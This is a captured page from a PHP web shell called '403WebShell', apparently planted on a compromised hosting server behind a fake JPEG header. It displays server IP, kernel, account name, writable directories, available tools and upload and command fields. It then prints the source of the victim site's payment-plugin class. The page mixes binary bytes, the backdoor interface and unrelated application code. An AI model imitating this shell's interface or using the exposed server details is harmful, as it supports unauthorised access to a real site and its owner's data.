����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.14.134.62
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/greatlifehub.ng/glfiles.name.ng/plugins/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/plugins/payment/PluginPayment.class.php
<?php

// plugin namespace
namespace Plugins\Payment;

// core includes
use App\Core\Database;
use App\Services\Plugin;
use Plugins\Payment\PluginConfig;

class PluginPayment extends Plugin
{
    public $config = null;

    public function __construct() {
        // load plugin config
        $this->config = (new PluginConfig())->getPluginConfig();
    }

    public function registerRoutes(\FastRoute\RouteCollector $r) {
        // register plugin routes
        $r->addRoute(['GET', 'POST'], '/'.ADMIN_FOLDER_NAME.'/plugin/'.$this->config['folder_name'].'/settings', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/pluginSettings');
        $r->addRoute(['GET'], '/'.ADMIN_FOLDER_NAME.'/plugin/'.$this->config['folder_name'].'/gateway_manage', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/gatewayManage');
        $r->addRoute(['GET', 'POST'], '/' . ADMIN_FOLDER_NAME . '/plugin/'.$this->config['folder_name'].'/ajax/gateway_manage', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/ajaxGatewayManage');
        $r->addRoute(['GET', 'POST'], '/' . ADMIN_FOLDER_NAME . '/plugin/'.$this->config['folder_name'].'/ajax/gateway_add_form', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/ajaxGatewayAddForm');
        $r->addRoute(['GET', 'POST'], '/' . ADMIN_FOLDER_NAME . '/plugin/'.$this->config['folder_name'].'/ajax/gateway_add_form_config', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/ajaxGatewayAddFormConfig');
        $r->addRoute(['POST'], '/' . ADMIN_FOLDER_NAME . '/plugin/'.$this->config['folder_name'].'/ajax/gateway_add_process', '\plugins\\'.$this->config['folder_name'].'\controllers\admin\PluginController/ajaxGatewayAddProcess');
        $r->addRoute(['GET', 'POST'], '/upgrade_confirmation', '\plugins\\'.$this->config['folder_name'].'\controllers\\'.ucwords($this->config['folder_name']).'Controller/upgradeConfirmation');
    }
    
    public function getPluginDetails() {
        return $this->config;
    }

    public function install()
    {
        return parent::install();
    }

    public function getAvailableGateways() {
        // setup database
        $db = Database::getDatabase();
        
        // load gateways
        return $db->getRows('SELECT * '
                . 'FROM plugin_payment_gateways '
                . 'WHERE available = 1 '
                . 'ORDER BY label ASC');
    }
    
    public function getAvailableGatewayGroups() {
        // setup database
        $db = Database::getDatabase();
        
        // load gateways
        return $db->getRows('SELECT gateway_group, class_name, url '
                . 'FROM plugin_payment_gateways '
                . 'WHERE available = 1 '
                . 'GROUP BY gateway_group '
                . 'ORDER BY label ASC');
    }
    
    public function getEnabledGateways() {
        // setup database
        $db = Database::getDatabase();
        
        // load enabled gateways
        return $db->getRows('SELECT plugin_payment_gateways_configured.id AS config_id, plugin_payment_gateways.* '
                . 'FROM plugin_payment_gateways_configured '
                . 'LEFT JOIN plugin_payment_gateways ON plugin_payment_gateways_configured.gateway_id = plugin_payment_gateways.id '
                . 'WHERE plugin_payment_gateways_configured.status = "active" '
                . 'AND plugin_payment_gateways.available = 1 '
                . 'ORDER BY label ASC');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit